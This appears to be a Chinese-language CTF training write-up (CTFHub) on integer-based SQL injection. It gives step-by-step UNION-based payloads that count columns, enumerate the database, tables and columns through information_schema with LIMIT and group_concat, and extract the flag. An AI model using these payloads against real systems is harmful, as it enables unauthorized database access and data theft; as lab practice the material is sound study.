2025.1.15——假期回归训练,从sql注入开始|一、SQL整数型注入

第一阶段(2025.1.15-2025.1.27)

题目来源:CTFHub技能树。

"磨刀不误砍柴工"

所有题目的相同步骤:①整理已知信息;②联系相关信息;③用所学知识判断题型;④解题

题目一:SQL整数型注入

step 1:整理已知信息

已知本题为SQL整数型注入,故不需要进行提醒判断。

题目特点:不需要用引号进行闭合,可用联合注入查询、order by语句查询列数、需要爆数据库名、表名、列名、具体数据

step 2:查询列数,以便可以使用union select(前提:前后列数必须一致)注入

sql 复制代码
1 order by 3 #
sql 复制代码
1 order by 2 #

可得共2个字段

step 3:进行联合注入,并查询回显点,并爆数据库名

sql 复制代码
1 and 1=2 union select database(),database() #

可得两个数据库名均为sqli

注:and 1=2 的作用是为了使前面的 select * from news where id=1这个查询条件不成立,直接使得后面的union操作能够正常执行

step 4:爆表名

错误示范:1 and 1=2 union select table_name from information_schema.tables where table_schema=sqli #

错误原因:sqli是字符串,需要加单引号

↓正确payload①------缺陷在于只会回显处第一个表的表名,若要爆出所有表名,需要用到limit m,n(m表示偏移量,从0开始;n表示要返回的行数)

sql 复制代码
1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='sqli' #

爆第一个表名,用limit 0,1

sql 复制代码
1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='sqli' limit 0,1 #

爆第二个表名,用limit 1,1

sql 复制代码
1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='sqli' limit 1,1 #

payload②------用group_concat()一次爆出所有名称

sql 复制代码
1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'#

step 5:爆列名------形如爆表名

payload①------此处只有一个列名

sql 复制代码
1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='sqli' and table_name='flag'#

payload②------group_concat()

sql 复制代码
1 and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_schema='sqli' and table_name='flag'#

step 6:爆具体数据

payload如下

sql 复制代码
1 and 1=2 union select 1,flag from sqli.flag

注:这里1,flag的作用是前后两个select语句的字段保持一致,所以1,不能去掉

相关推荐
Whoami!1 小时前
2-3〔O҉S҉C҉P҉ ◈ 研记〕❘ 漏洞扫描▸AppScan(WEB扫描)
网络安全·信息安全·appscan·oscp
_Kayo_3 小时前
node.js 学习笔记3 HTTP
笔记·学习
CCCC13101636 小时前
嵌入式学习(day 28)线程
jvm·学习
sinat_286945196 小时前
AI应用安全 - Prompt注入攻击
人工智能·安全·prompt
星星火柴9367 小时前
关于“双指针法“的总结
数据结构·c++·笔记·学习·算法
小狗爱吃黄桃罐头7 小时前
正点原子【第四期】Linux之驱动开发篇学习笔记-1.1 Linux驱动开发与裸机开发的区别
linux·驱动开发·学习
艾莉丝努力练剑8 小时前
【洛谷刷题】用C语言和C++做一些入门题,练习洛谷IDE模式:分支机构(一)
c语言·开发语言·数据结构·c++·学习·算法
武昌库里写JAVA9 小时前
JAVA面试汇总(四)JVM(一)
java·vue.js·spring boot·sql·学习
杜子不疼.10 小时前
《Python学习之字典(一):基础操作与核心用法》
开发语言·python·学习
小幽余生不加糖10 小时前
电路方案分析(二十二)适用于音频应用的25-50W反激电源方案
人工智能·笔记·学习·音视频